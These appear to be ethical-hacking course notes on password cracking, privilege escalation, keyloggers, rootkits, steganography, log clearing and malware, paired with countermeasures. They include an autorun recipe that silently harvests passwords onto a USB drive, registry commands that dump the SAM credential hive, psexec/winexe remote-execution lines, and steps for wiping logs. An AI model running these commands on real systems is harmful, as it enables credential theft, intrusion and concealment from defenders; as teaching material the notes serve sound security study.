- MBSA (Microsoft Baseline Security Analyzer)
- AVDS (Automated Vulnerability Detection System)
- Core Impact Pro

- N-Stalker Web Application Security Scanner Enterprise Edition
- Acunetix Web Vulnerability Scanner
- Nipper Studio
- Nexpose
- Secunia Personal Software Inspector (PSI)
- Burp Suite
- Nsauditor (Network Security Auditor)
- ScanLine
- Nmap
- Retina CS for Mobile
- SecurityMetrics Mobile
- NetScan

Vulnerability Reports
Discloses the risks detected after scanning the network and ways to mitigate the risks. This helps the organization fix security issues before they are exploited. A typical report will show the vulnerability categories, severity levels, vulnerability name, risk score, and exploits available.

System Hacking

Password Cracking

- Password cracking techniques are used to recover passwords from computer systems.
- Attackers use password cracking techniques to gain unauthorized access to the vulnerable system.
- Most of the password cracking techniques are successful due to weak or easily guessable passwords.

Types of Password Attacks

- **Non-Electronic Attacks**: Attackers don't need any technical knowledge to crack passwords, hence known as non-technical attack.
    - Shoulder Surfing
    - Social Engineering
    - Dumpster Diving

- **Active Online Attacks**: Attacker performs password cracking by directly communicating with the victim machine.
    - Dictionary and Brute Forcing Attack
    - Hash Injection and Phishing
    - Trojan/Spyware/Keyloggers
    - Password Guessing
- **Passive Online Attacks**: Attacker performs password cracking without communicating with the authorizing party.
    - Wire Sniffing
    - Man-in-the-Middle
    - Replay
- **Offline Attack**: Attacker copies the target's password file and then tries to crack passwords in his own system at different locations.
    - Pre-Computed Hashes (Rainbow Table)
    - Distributed Network

Non-Electronic Attacks

- **Shoulder Surfing**: Looking at either the user's keyboard or screen while he/she is logging in.
- **Social Engineering**: Convincing people to reveal passwords
- **Dumpster Diving**: Searching for sensitive information at the user's trash-bins, printer trash bins, and user desk for sticky notes.

Active Online Attack: Dictionary, Brute Forcing and Rule-based Attack

- **Dictionary Attack**: A dictionary file is loaded into the cracking application that runs against user accounts.
- **Brute Forcing Attack**: The program tries every combination of characters until the password is broken.
- **Rule-based Attack**: This attack is used when the attacker gets some information about the password.
- Hybrid Attack
- Syllable Attack
- Brute Force

Active Online Attack: Password Guessing

- The attacker creates a list of all possible passwords from the information collected through social engineering or any other way and tries them manually on the victim's machine to crack the passwords.
    1. Find a valid user
    2. Create a list of possible passwords
    3. Rank passwords from high probability to low
    4. Key in each password, until the correct password is discovered.

Default Passwords

- A default password is a password supplied by the manufacturer with new equipment (e.g. switches, hubs, routers) that is password protected.
- Attackers use default passwords in the list of words or dictionaries that they use to perform password guessing attacks.

Active Online Attack: Trojan/Spyware/Keylogger

- Attacker installs Trojan/Spyware/Keylogger on the victim's machine to collect the victim's usernames and passwords.
- Trojan/Spyware/Keylogger runs in the background and sends back all user credentials to the attacker.

Example of Active Online Attack Using USB Drive

1. Download PassView, a password hacking tool
2. Copy the downloaded files to USB drive

Create autorun.info in USB drive
[autorun]
en=launch.bat

Contents of launch.bat
start pspv.exe/stext
pspv.txt

3. Insert the USB drive and the autorun window will pop-up (if enabled)
4. PassView is executed in the background and passwords will be stored in the .TXT files in the USB drive

Active Online Attack: Hash Injection Attack

- A hash injection attack allows an attacker to inject a compromised hash into a local session and use the hash to validate to network resources.
- The attacker finds and extracts a logged on domain admin account hash.
- The attacker uses the extracted hash to log on to the domain controller.

Passive Online Attack: Wire Sniffing

- Attackers run packet sniffer tools on the local area network (LAN) to access and record the raw network traffic.
- The captured data may include sensitive information such as passwords (FTP, rlogin sessions, etc.) and emails.
- Sniffed credentials are used to gain unauthorized access to the target system.

Passive Online Attacks: Man-in-the-Middle and Replay Attack

- **Gain access to the communication channels**: In a MITM attack, the attacker acquires access to the communication channels between victim and server to extract the information.
- **Use sniffer**: In a replay attack, packets and authentication tokens are captured using a sniffer. After the relevant info is extracted, the tokens are placed back on the network to gain access.
- **Considerations**:
    - Relatively hard to perpetrate
    - Must be trusted by one or both sides
    - Can sometimes be broken by invalidating traffic

Offline Attack: Rainbow Table Attack

- **Rainbow Table**: A rainbow table is a precomputed table which contains word lists like dictionary files and brute force lists and their hash value.
- **Compare the Hashes**: Capture the hash of a password and compare it with the precomputed hash table. If a match is found then the password is cracked.
- **Easy to Recover**: It is easy to recover passwords by comparing captured password hashes to the precomputed tables.
- **Precomputed Hashes**:
    - 1qazwed -> 21c40e47dba72e77518ee3ef88ad0cc8
    - hh021da -> 2ce80b192cfa47a0d6c8a2446314810b
    - 9da8dasf -> eb0f5690164ffabbed1744087a4d6761
    - sodifo8sf -> 2c749bf3fff89778efc50af7e4f8d6a8

Tools to Create Rainbow Tables: rtgen and Winrtgen

- rtgen: The rtgen program need several parameters to generate a rainbow table, the syntax of the command line is:
    - Syntax: rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index
- Winrtgen: Winrtgen is a graphical Rainbow Tables Generator that supports LM, FastLM, NTLM, LMCHALL, HalfLMCHALL, NTLMCHALL, MSCACHE, MD2, MD4, MD5, SHA1, RIPEMD160, MySQL323, MySQLSHA1, CiscoPIX, ORACLE, SHA-2(256), SHA-2(384), and SHA-2(512) hashes.

Offline Attack: Distributed Network Attack

- A Distributed Network Attack (DNA) technique is used for recovering passwords from hashes or password protected files using the unused processing power of machines across the network to decrypt passwords.
- The DNA Manager is installed in a central location where machines running on DNA Client can access it over the network.

- DNA Manager coordinates the attack and allocates small portions of the key search to machines that are distributed over the network.
- DNA Client runs in the background, consuming only unused processor time.
- The program combines the processing capabilities of all the clients connected to the network and uses it to crack the password.

Elcomsoft Distributed Password Recovery

- Elcomsoft Distributed Password Recovery breaks complex passwords, recovers strong encryption keys, and unlocks documents in a production environment.

Microsoft Authentication

- **Security Accounts Manager (SAM) Database**:
    - Windows stores user passwords in SAM, or in the Active Directory database in domain. Passwords are never stored in clear text; passwords are hashed and the results are stored in the SAM.
- **NTLM Authentication**:
    - The NTLM authentication protocol types:
        - NTLM authentication protocol
        - LM authentication protocol
    - These protocols store the user's password in the SAM database using different hashing methods.
- **Kerberos Authentication**:
    - Microsoft has upgraded its default authentication protocol to Kerberos which provides a stronger authentication for client/server applications than NTLM.

How Hash Passwords Are Stored in Windows SAM?

- **Note**: LM hashes have been disable in Windows Vista and later Windows operating systems, LM will be blank in those systems.
- `reg save hklm\sam c:\temp\sam.save`
- `reg save hklm\system c:\temp\system.save`
- pwdump, SMBPasswd

NTLM Authentication Process

Note: Microsoft has upgraded its default authentication protocol to Kerberos, which provides stronger authentication for client/server applications than NTLM.

- XP: LM, NTLM
- Vista~: NTLMv2
- LM DES: PASSWOR DXXXXXX, 7 , 7×8=56 bits

Kerberos Authentication

Password Salting

- Password salting is a technique where random strings of character are added to the password to the password before calculating their hashes.
- Advantage: Salting makes it more difficult to reverse the hashes and defeats pre-computed hash attacks. Note: Windows password hashes are not salted

pwdump7 and fgdump

- PWDUMP extracts LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM) database.
- fgdump works like pwdump but also extracts cached credentials and allows remote network execution.
- These tools must be run with administrator privileges.

Password Cracking Tools

- **L0phtCrack**: L0phtCrack is a password auditing and recovery application packed with features such as scheduling, hash extraction from 64-bit Windows versions, and networks monitoring and decoding.
- **Ophcrack**: Ophcrack is a Windows password cracker based on rainbow tables. It comes with a Graphical User Interface and runs on multiple platforms.

- **Cain & Abel**: It allows recovery of various kinds of passwords by sniffing the network, cracking encrypted passwords using dictionary, brute-force, and cryptanalysis attacks.
- **RainbowCrack**: RainbowCrack cracks hashes with rainbow tables. It uses a time-memory tradeoff algorithm to crack hashes.

Password Cracking Tool for Mobile: FlexiSPY Password Grabber

- It captures the security pattern used to access the phone itself and crack the passcode used to unlock the iPhone, plus the actual passwords they use for social messaging.
- It allows you to login to their Facebook, Skype, Twitter, Pinterest, LinkedIn, GMail and other Email accounts directly from your own computer.

How to Defend against Password Cracking

- Enable information security audit to monitor and track password attacks.
- Do not use the same password during password change.
- Do not share passwords.
- Do not use passwords that can be found in a dictionary.
- Do not use cleartext protocols and protocols with weak encryption.
- Set the password change policy to 30 days.
- Avoid storing passwords in an unsecured location.
- Do not use any system's default passwords.
- Make passwords hard to guess by using 8-12 alphanumeric characters in combination of uppercase and lowercase letters, numbers, and symbols.
- Ensure that applications neither store passwords to memory nor write them to disk in clear text.
- Use a random string (salt) as prefix or suffix with the password before encrypting.
- Enable SYSKEY with a strong password to encrypt and protect the SAM database.
- Never use passwords such as date of birth, spouse, or child's or pet's name.
- Monitor the server's logs for brute force attacks on the users accounts.
- Lock out an account subjected to too many incorrect password guesses.

Privilege Escalation

- An attacker can gain access to the network using a non-admin user account, and the next step would be to gain administrative privileges.
- Attacker performs privilege escalation attack which takes advantage of design flaws, programming errors, bugs, and configuration oversights in the OS and software application to gain administrative access to the network and its associated applications.
- These privileges allow attackers to view critical/sensitive information, delete files, or install malicious programs such as viruses, Trojans, worms, etc.
- **Types of Privilege Escalation**:
    - **Vertical Privilege Escalation**:
        - Refers to gaining higher privileges than the existing
    - **Horizontal Privilege Escalation**:
        - Refers to acquiring the same level of privileges that already has been granted but assuming the identity of another user with the similar privileges.
- User -> Admin:
    1. passwd
    2. vulnerability
    3. Weak permission: Service, File
    4. DLL Hijacking
- Admin -> Others/System:
    1. PtH
    2. Install Service (sc)
    3. (Access) Token Kidnapping
    4. Process Hijacking (RunFromProcess)

Privilege Escalation Using DLL Hijacking

- Most Windows applications do not use the fully qualified path when loading an external DLL library instead they search for the directory from which they have been loaded first.
- If attackers can place a malicious DLL in the application directory, it will be executed in place of the real DLL.

Resetting Passwords Using Command Prompt

- If an attacker succeeds in gaining administrative privileges, he/she can reset the passwords of any other non-administrative accounts using command prompt.
- Open the command prompt, type net user command and press Enter to list out all the user accounts on the target system.

- Now type net user useraccountname * and press Enter, useraccountname is account name from list.
- Type the new password to reset the password for a specific account.

Privilege Escalation Tool: Active@ Password Changer

- Active@ Password Changer resets local administrator and user passwords.

How to Defend Against Privilege Escalation

- Restrict the interactive logon privileges.
- Use encryption techniques to protect sensitive data.
- Run users and applications on the least privileges.
- Reduce the amount of code that runs with particular privilege.
- Implement multi-factor authentication and authorization.
- Perform debugging using bounds checkers and stress tests.
- Run services as unprivileged accounts.
- Test operating system and application coding errors and bugs thoroughly.
- Implement a privilege separation methodology to limit the scope of programming errors and bugs.
- Patch the systems regularly.

Executing Applications

- Attackers execute malicious applications in this stage. This is called "owning" the system.
- Attackers execute malicious programs remotely in the victim's machine to gather information that leads to exploitation or loss of privacy, gain unauthorized access to system resources, crack the password, capture the screenshots, install a backdoor to maintain easy access, etc.
- Windows: `psexec \\IP -u USER -p PW cmd.exe`
    - `-s`: Run the remote process in the System account
- Kali: `winexe -U USER%PW //IP cmd.exe`

Executing Application Tools

- **RemoteExec**:
  - RemoteExec remotely installs applications, executes programs/scripts, and updates files and folders on Windows systems throughout the network.
  - It allows attackers to modify the registry, change local admin passwords, disable local accounts, and copy/update/delete files and folders.
- **PDQ Deploy**:
  - PDQ Deploy is a software deployment tool that allows admins to silently install almost any application or patch.
- **DameWare Remote Support**:
  - DameWare Remote Support lets you manage servers, notebooks, and laptops remotely.
  - It allows attackers to remotely manage and administer Windows computers.

Keylogger

- Keystroke loggers are programs or hardware devices that monitor each keystroke as user types on a keyboard, logs onto a file, or transmits them to a remote location.
- Legitimate applications for keyloggers include in office and industrial settings to monitor employees' computer activities and in home environments where parents can monitor and spy on children's activity.
- It allows attackers to gather confidential information about victims such as email ID, passwords, banking details, chat room activity, IRC, instant messages, etc.
- Physical keyloggers are placed between the keyboard hardware and the operating system.

Types of Keystroke Loggers

- **Keystroke Loggers**:
  - **Hardware Keystroke Loggers**:
    - PC/BIOS Embedded
    - Keylogger Keyboard
    - External Keylogger:

        - Wi-Fi Keylogger
        - Bluetooth Keylogger
        - Acoustic/CAM Keylogger
        - PS/2 and USB Keylogger
    - **Software Keystroke Loggers**:
        - Application Keylogger
        - Kernel Keylogger
        - Hypervisor-based Keylogger
        - Form Grabbing Based Keylogger

Keylogger: All In One Keylogger

- All In One Keylogger allows you to secretly track all activities from all computer users and automatically receive logs to a desired email/FTP/LAN accounting.

Keyloggers for Windows

keylogger for Mac: Amac Keylogger for Mac

- Amac Keylogger for Mac invisibly records all keystrokes types, IM chats, websites visited and takes screenshots and also sends all reports to the attacker by email, or upload everything to the attacker's website.

Spyware

- Spyware is a program that records a user's interaction with the computer and Internet without the user's knowledge and sends them to the remote attackers.
- Spyware hides its process, files, and other objects in order to avoid detection and removal.
- It is similar to Trojan horse, which is usually bundled as a hidden component of freeware programs that can be available on the Internet for download.

- It allows attackers to gather information about a victim or organization such as email addresses, user logins, passwords, credit card numbers, banking credentials, etc.
- **Spyware Propagation**:
    - Drive-by download
    - Masquerading as anti-spyware
    - Web browser vulnerability exploits (IE)
    - Piggybacked software installation
    - Browser add-ons (Firefox)
    - Cookies

Spyware Tools

- **Spytech SpyAgent**:
    - Spytech SpyAgent allows you to monitor everything users do on your computer.
    - It provides a large array of essential computer monitoring features, website, application, and chat client blocking, lockdown scheduling, and remote delivery of logs via email or FTP.
- **Power Spy:**
    - Power Spy secretly monitors and records all activities on your computer.
    - It records all Facebook use, keystrokes, emails, web sites visited, chats, and IMs in Windows Live Messenger, Skype, Yahoo Messenger, Tencent QQ, Google Talk.

USB Spyware: USBSpy

- USBSpy lets you capture, display, record, and analyze data that is transferred between any USB device connected to PC and applications.

usbdumper

Audio Spyware: Spy Voice Recorder and Sound Snooper

- **Spy Voice Recorder**:

    - Spy Voice Recorder records voice chat message of instant messengers, including MSN voice chat, Skype voice chat, Yahoo! messenger voice chat, ICQ voice chat, QQ voice chat, etc.
- **Sound Snooper**:
    - Voice activated recording
    - Store records in any sound format
    - Conference recordings
    - Radio broadcasts logging

Cell Phone Spyware: Mobile Spy

- Mobile Spy records GPS locations and every SMS and logs every call including phone numbers with durations and afterwards you can view real-time results in your private online account.

GPS Spyware: SPYPhone

- SPYPhone software has the ability to send events (captured data) from the target phone to your web account via Wi-Fi, 3G, GPRS, or SMS.

How to Defend Against Keyloggers

- Use pop-up blocker.
- Install anti-spyware/antivirus programs and keep the signatures up to date.
- Install good professional firewall software and anti-keylogging software.
- Recognize phishing emails and delete them.
- Choose new passwords for different online accounts and change them frequently.
- Avoid opening junk emails.
- Do not click on links in unwanted or doubtful emails that may point to malicious sites.

- Use keystroke interference software, which inserts randomized characters into every keystroke.
- Scan the files before installing them on to the computer and use a registry editor or process explorer to check for the keystroke loggers.
- Keep your hardware systems secure in a locked environment and frequently check the keyboard cables for the attached connectors.
- Use Windows on-screen keyboard accessibility utility to enter the password or any other confidential information.
- Install a host-based IDS, which can monitor your system and disable the installation of keyloggers.
- Use automatic form-filling programs or virtual keyboard to enter user name and password.
- Use software that frequently scans and monitors the changes in the system or network.
- **Hardware Keylogger Countermeasures**:
    - Restrict physical access to sensitive computer systems
    - Periodically check all the computers and check whether there is any hardware device connected to the computer
    - Use encryption between the keyboard and its driver
    - Use an anti-keylogger that detects the presence of a hardware keylogger such as Oxynger KeyShield

Anti-Keylogger: Zemana AntiLogger

- Zemana AntiLogger eliminates threats from keyloggers, SSL banker Trojans, spyware, and more.

How to Defend Against Spyware

- Try to avoid using any computer system which is not totally under your control.
- Adjust browser security settings to medium or higher for Internet zone.
- Be cautious about suspicious emails and sites.
- Enhance the security level of the computer.
- Update the software regularly and use a firewall with outbound protection.
- Regularly check task manager report and MS configuration manager report.
- Update virus definition files and scan the system for spyware regularly.
- Install and use anti-spyware software.
- Perform web surfing safely and download cautiously.
- Do not use administrative mode unless it is necessary.

- Do not use public terminals for banking and other sensitive activities.
- Do not download free music files, screensavers, or smiley faces from the Internet.
- Beware of pop-up windows or web pages. Never click anywhere on these windows.
- Carefully read all disclosures, including the license agreement and privacy statement before installing any application.
- Do not store personal information on any computer system that is not totally under your control.

Anti-Spyware: SUPERAntiSpyware

- Identify potentially unwanted programs and securely remove them.
- Detect and remove Spyware, Adware and Remove Malware, Trojans, Dialers, Worms, Keyloggers, Hijackers, Parasites, Rootkits, Rogue security products and many other types of threats

Rootkits

- Rootkits are programs that hide their presence as well as attacker's malicious activities, granting them full access to the server or host at that time and also in future.
- Rootkits replace certain operating system calls and utilities with its own modified versions of those routines that in turn undermine the security of the target system causing malicious functions to be executed.
- A typical rootkit comprises backdoor programs, DDoS programs, packet sniffers, log-wiping utilities, IRC bots, etc.
- **Attacker places a rootkit by**:
    - Scanning for vulnerable computers and servers on the web.
    - Wrapping it in a special package like games.
    - Installing it on the public computers or corporate computers through social engineering.
    - Launching zero day attack (privilege escalation, buffer overflow, Windows kernel exploitation, etc.)
- **Objectives of rootkit**:
    - To root the host system and gain remote backdoor access.
    - To mask attacker tracks and presence of malicious applications or processes.

    - To gather sensitive data, network traffic, etc. from the system to which attackers might be restricted or possess no access.
    - To store other malicious programs on the system and act as a server resource for bot updates.

Types of Rootkits

- **Hypervisor Level Rootkit**: Acts as a hypervisor and modifies the boot sequence of the computer system to load the host operating system as a virtual machine.
- Example: Blue Pill Rootkit
- **Hardware/Firmware Rootkit**: Hides in hardware devices or platform firmware which is not inspected for code integrity.

EFI

- **Kernel Level Rootkit**: Adds malicious code or replaces original OS kernel and device driver codes.

- **Boot Loader Level Rootkit**: Replaces the original boot loader with one controlled by a remote attacker.
- **Application Level Rootkit**: Replaces regular application binaries with fake Trojan, or modifies the behavior of existing applications by injecting malicious code.
- **Library Level Rootkits**: Replaces original system calls with fake ones to hide information about the attacker.

Rootkit Examples

- **Avatar**:
    - Avatar rootkit runs in the background and gives remote attackers access to an infected PC.
    - It uses a driver infection technique twice: the first in the dropper so as to bypass detections by HIPS, and the second in the rootkit driver for surviving after system reboot.
    - The infection technique is restricted in its capability (by code signing policy for kernel-mode modules) and it works only on x86 systems.

- **Necurs**:
    - Necurs contains backdoor functionality, allowing remote access and control of the infected computer.
    - It monitors and filters network activity and has been observed to send spam and install rogue security software.
    - It enables further compromise by providing the functionality to:
        - Download additional malware
        - Hide its components
        - Stop security applications from functioning
- **Azazel**:
    - Azazel is a userland rootkit written in C based on the original LD_PRELOAd technique from Jynx rootkit.
- **ZeroAccess**:
    - ZeroAccess is a kernel-mode rootkit which uses advanced techniques to hide its presence.
    - It is capable of functioning on both 32 and 64-bit flavors of Windows from a single installer and acts as a sophisticated delivery platform for other malware.
    - If running under 32-bit Windows, it will employ its kernel-mode rootkit. The rootkit's purpose is to:
        - Hide the infected driver on the disk
        - Enable read and write access to the encrypted files
        - Deploy self defense
    - The payload of ZeroAccess is to connect to a peer-to-peer botnet and download further files.

Detecting Rootkits

- **Integrity-Based Detection**: It compares a snapshot of the file system, boot records, or memory with a known trusted baseline.
- **Signature-Based Detection**: This technique compares characteristics of all system processes and executable files with a database of known rootkit fingerprints.
- **Heuristic/Behavior-Based Detection**: Any deviations in the system's normal activity or behavior may indicate the presence of rootkit.
- **Runtime Execution Path Profiling**: This technique compares runtime execution paths of all system processes and executable files before and after the rootkit infection.
- **Cross View-Based Detection**: Enumerates key elements in the computer system such as system files, processes, and registry keys and compares them to an algorithm used to generate a similar data set that does not rely on the common APIs. Any discrepancies between these two data sets indicate the presence of rootkit.

Steps for Detecting Rootkits

1. Run "dir /s /b /ah" and "dir /s /b /a-h" inside the potentially infected OS and save the results.
2. Boot into a clean CD, run "dir /s /b /ah" and "dir /s /b /a-h" on the same drive and save the results.
3. Run a clean version of WinDiff on the two sets of results to detect file-hiding ghostware (i.e., invisible inside, but visible from outside)

Note: There will be some false positives. Also, this does not detect stealth software that hides in BIOS, video card EEPROM, bad disk sectors, Alternate Data Streams, etc.

How to Defend against Rootkits

- Reinstall OS/applications from a trusted source after backing up the critical data.
- Well-documented automated installation procedures need to be kept.
- Perform kernel memory dump analysis to determine the presence of rootkits.
- Harden the workstation or server against the attack.
- Educate staff not to download any files/programs from untrusted sources.
- Install network and host-based firewalls.
- Ensure the availability of trusted restoration media.
- Update and patch operating systems and applications.
- Verify the integrity of system files regularly using cryptographically strong digital fingerprint technologies.
- Update antivirus and anti-spyware software regularly.
- Avoid logging in an account with administrative privileges.
- Adhere to the least privilege principle.
- Ensure the chosen antivirus software possesses rootkit protection.
- Do not install unnecessary applications and also disable the features and services not in use.

Anti-Rootkits

- **Stinger**: Stinger scans rootkits, running processes, loaded modules, registry and directory locations known to be used by malware on the machine.
- **UnHackMe**: UnHackMe detects and removes malicious programs (rootkits/malware/adware/spyware/Trojans)

- **GMER**: GMER is an application that detects and removes rootkits.

NTFS Data Stream

- NTFS Alternate Data Stream (ADS) is a Windows hidden stream which contains metadata for the file such as attributes, word count, author name, and access and modification time of the files.
- ADS is the ability to fork data into existing files without changing or altering their functionality, size, or display to file browsing utilities.
- ADS allows an attacker to inject malicious code in files on an accessible system and execute them without being detected by the user.

How to Defend against NTFS Streams

- To delete NTFS streams, move the suspected files to the FAT partition.
- Use third-party file integrity checkers such as Tripwire to maintain integrity of NTFS partition files.
- Use programs such as LADS and ADSSpy to detect streams.

NTFS Stream Detector: StreamArmor

- Stream Armor discovers hidden Alternate Data Streams (ADS) and cleans them completely from the system.

What is Steganography?

- Steganography is a technique of hiding a secret message within an ordinary message and extracting it at the destination to maintain confidentiality of data.
- Utilizing a graphic image as a cover is the most popular method to conceal the data in files.

- Attackers can use steganography to hide messages such as a list of the compromised servers, source code for the hacking tool, plans for future attacks, etc.

Classification of Steganography

- **Technical Steganography**
- **Linguistic Steganography**:
    - Semagrams:
        - Visual Semagram
        - Text Semagrams
    - Open Codes:
        - Covered Ciphers:
            - Null Cipher
            - Grille Cipher
        - Jargon Code

Types of Steganography based on Cover Medium

- Image Steganography
- Document Steganography
- Folder Steganography
- Video Steganography
- Audio Steganography
- White Space Steganography: In the white space steganography, the user hides the message in ASCII text by adding white spaces to the end of the lines.
- Web Steganography
- Spam/Email Steganography
- DVDROM Steganography
- Natural Text Steganography: Natural text steganography is converting the sensitive information into a user-definable free speech such as a play.
- Hidden OS Steganography: Hidden OS Steganography is the process of hiding one operation system into another.
- C++ Source Code steganography: In the C++ source code Steganography, the user hides the set of tools in the files.

Whitespace Steganography Tool: SNOW

- The program snow is used to conceal messages in ASCII text by appending whitespace to the end of lines.
- Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers.
- If the built-in encryption is used, the message cannot be read even if it is detected.

Image Steganography

- In image steganography, the information is hidden in image files of different formats such as .PNG, .JPG, .BMP, etc.
- Image steganography tools replace redundant bits of image data with the message in such a way that the effect cannot be detected by human eyes.
- Image file steganography techniques:
    - Least Significant Bit Insertion
    - Masking and Filtering
    - Algorithms and Transformation

Least Significant Bit Insertion

- The rightmost bit of a pixel is called the Least Significant Bit (LSB).
- In least significant bit insertion method, the binary data of the message is broken and inserted into the LSB of each pixel in the image file in a deterministic sequence.
- Modifying the LSB does not result in a noticeable difference because the net change is minimal and can be indiscernible to the human eye.
- **Example: Given a string of bytes**
    - 00100111 11101001 11001000) (00100111 11001000 11101001) (11001000 00100111 11101001)
    - The letter "H" is represented by binary digits 01001000. To hide this "H" above stream can be changed as:
        - (00100111 11101001 11001000) (00100111 11001001 11101000) (11001000 00100111 11101001)
    - To retrieve the "H" combine all LSB bits **01001000**

Masking and Filtering

- Masking and filtering techniques are generally used on 24 bit and grayscale images.
- The masking technique hides data using a method similar to watermarks on actual paper, and it can be done by modifying the luminance of parts of the image.
- Masking techniques can be detected with simple statistical analysis but is resistant to lossy compression and image cropping.
- The information is not hidden in the noise but in the significant areas of the image.

Algorithms and Transformation

- Another steganography technique is to hide data in mathematical functions used in the compression algorithms.
- The data is embedded in the cover image by changing the coefficients of a transform of an image.
- For example, JPEG images use the Discrete Cosine Transform (DCT) technique to achieve image compression.
- **Types of transformation techniques**:
    - Fast fourier transformation
    - Discrete cosine transformation
    - Wavelet transformation

Image Steganography: QuickStego

- QuickStego hides text in pictures so that only other users of QuickStego can retrieve and read the hidden secret messages.

Document Steganography tool: wbStego

Video Steganography

- Video steganography refers to hiding secret information into a carrier video file.
- In video steganography, the information is hidden in video files of different formats such as .AVI, .MPG4, .WMV, etc.
- Discrete Cosine Transform (DCT) manipulation is used to add secret data at the time of the transformation process of video.

- The techniques used in audio and image files are used in video files, as video consists of audio and images.
- A large number of secret messages can be hidden in video files as every frame consists of images and sound.

Video Steganography Tools

- **OmnHide PRO**: OmniHide Pro hides a file within another file. Any file can be hidden within common image/music/video/document formats. The output file would work just as the original source file.
- **Masker**: Masker is a program that encrypts your files so that a password is needed to open them, and then it hides files and folders inside of carrier files, such as image files, videos, programs or sound files.

Audio Steganography

- Audio steganography refers to hiding secret information in audio files such as .MP3, .RM, .WAV, etc.
- Information can be hidden in an audio file by using LSB or by using frequencies that are inaudible to the human ear (>20,000 Hz)
- Some of the audio steganography methods are echo data hiding, spread spectrum method, LSB coding, tone insertion, phase encoding, etc.

Audio Steganography: DeepSound

- DeepSound hides secret data into audio files - wav and flac.
- It enables extracting secret files directly from audio CD tracks.
- DeepSound might be used as a copyright marking software for wave, flac, and audio CD.
- It also supports encrypting secret files using AES-256 to improve data protection.

Folder Steganography tool: Invisible Secrets 4

- Folder steganography refers to hiding secret information in folders.

Spam/Email Steganography tool: Spam Mimic

- Spam steganography refers to hiding information in spam messages.

Steganography Tools for Mobile Phones

- Steganography Master
- Stegais
- SPY PIX

Steganalysis

- Steganalysis is the art of discovering and rendering covert messages using steganography.
- **Challenge of Steganalysis**:
    - Suspect information stream may or may not have encoded hidden data.
    - Efficient and accurate detection of hidden content within digital images is difficult.
    - The message might have been encrypted before inserting into a file or signal.
    - Some of the suspect signals or files may have irrelevant data or noise encoded into them.

Steganalysis Methods/Attacks on Steganography

- **Stego-only**: Only the stego object is available for analysis.
- **Known-stego**: Attacker has the access to the stego algorithm, and both the cover medium and the stego-object.
- **Known-message**: Attacker has access to the hidden message and the stego object.
- **Known-cover**: Attacker compares the stego-object and the cover medium to identify the hidden message.
- **Chosen-message**: This attack generates stego objects from a known message using specific steganography tools in order to identify the steganography algorithms.
- **Chosen-stego**: Attacker has the access to the stego-object and stego algorithm.

Detecting Text and Image Steganography

- **Text File**:
    - For the text files, the alterations are made to the character positions for hiding the data.
    - The alterations are detected by looking for text patterns or disturbances, language used, and an unusual amount of blank spaces.
- **Image File**:
    - The hidden data in an image can be detected by determining changes in size, file format, the last modified timestamp, and the color palette pointing to the existence of the hidden data.
    - Statistical analysis method is used for image scanning.

Detecting Audio and Video Steganography

- **Audio File**:
    - Statistical analysis method can be used for detecting audio steganography as it involves LSB modifications.
    - The in audio frequencies can be scanned for hidden information.
    - The odd distortions and patterns show the existence of the secret data.
- **Video File**:
    - Detection of the secret data in video files includes a combination of methods used in image and audio files.

Steganography Detection Tool: Gargoyle Investigator Forensic Pro

- Gargoyle Investigator Forensic Pro provides inspectors with the ability to conduct a quick search on a given computer or machine for known contraband and hostile programs.
- Its signature set contains over 20 categories, including Botnets, Trojans, Steganography, Encryption, Keyloggers, etc. and helps in detecting stego files created by using BlindSide, WeavWav, S-Tools, etc.

Covering Tracks

- Once intruders have successfully gained administrator access on a system, they will try to cover the tracks to avoid their detection.

- Attacker uses following techniques to cover tracks on the target system:
    - Disable auditing
    - Clearing logs
    - Manipulating logs

Disabling Auditing: Auditpol

- Intruders will disable auditing immediately after gaining administrator privileges.
- At the end of their stay, the intruders will just turn on auditing again using auditpol.exe.

Clearing Logs

- Attacker uses clearlogs.exe utility to clear the security, system, and application logs.
- If the system is exploited with Metasploit, the attacker uses a meterpreter shell to wipe out all the logs from a Windows system.

Manually Clearing Event Logs

- **Windows**:
    - Navigate to Start > Control Panel > System and Security > Administrative Tools > double click Event Viewer.
    - Delete all the log entries logged while compromising the system.
- **Linux**:
    - Navigates to /var/log directory on the Linux system.
    - Open plain text file containing log messages with text editor /var/log/messages
    - Delete all the log entries logged while compromising the system.

Ways to Clear Online Tracks

- Remove Most Recently Used (MRU), delete cookies, clear cache, turn off AutoComplete, clear Toolbar data from the browsers.
- **Privacy Settings in Windows 8.1**:

    - Click on the Start button, choose Control Panel > Appearance and Personalization > Taskbar and Start Menu.
    - Click the Start Menu tab, and then, under Privacy, clear the Store and display recently opened items in the Start menu and the taskbar check box.
- **From the Registry in Windows 8.1**:
    - HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer and then remove the key for "Recent Docs"
    - Delete all the values except "(Default)"

Tools for Covering Tracks

- **CCleaner**:
    - CCleaner is system optimization and cleaning tool.
    - It cleans traces of temporary files, log files, registry files, memory dumps, and also your online activities such as your Internet history.
- **MRU-Blaster**:
    - MRU-Blaster is an application for Windows that allows you to clean the most recently used lists stored on your computer.
    - It allows you to clean out your temporary Internet files and cookies.

Malware Threats

- Malware is a malicious software that damages or disables computer systems and gives limited or full control of the systems to the malware creator for the purpose of theft or fraud.
- **Examples of Malware**:
    - Trojan Horse
    - Backdoor
    - Rootkit
    - Ransomware
    - Adware
    - Virus
    - Worms
    - Spyware
    - Botnet
    - Crypter

Different Ways a Malware can Get into a System

- Instant Messenger applications
- IRC (Internet Relay Chat)
- Removable devices
- Attachments
- Legitimate "shrink-wrapped" software packaged by a disgruntled employee
- Browser and email software bugs
- NetBIOS (FileSharing)
- Fake programs
- Untrusted sites and freeware software
- Downloading files, games, and screensavers from Internet sites

Common Techniques Attackers Use to Distribute Malware on the Web

- **Blackhat Search Engine Optimization (SEO)**: Ranking malware pages highly in search results.
- **Malvertising**: Embedding malware in ad-networks that display across hundreds of legitimate, high-traffic sites.
- **Compromised Legitimate Websites**: Hosting embedded malware that spreads to unsuspecting visitors.
- **Social Engineered Click-jacking**: Tricking users into clicking on innocent-looking webpages.
- **Spear Phishing Sites**: Mimicking legitimate institutions is an attempt to steal login credentials.
- **Drive-by Downloads**: Exploiting flaws in browser software to install malware just by visiting a web page.

What is a Trojan?

- It is a program in which the malicious or harmful code is contained inside apparently harmless programming or data in such a way that it can get control and cause damage, such as ruining the file allocation table on your hard disk.
- Trojans get activated upon users' certain predefined actions.

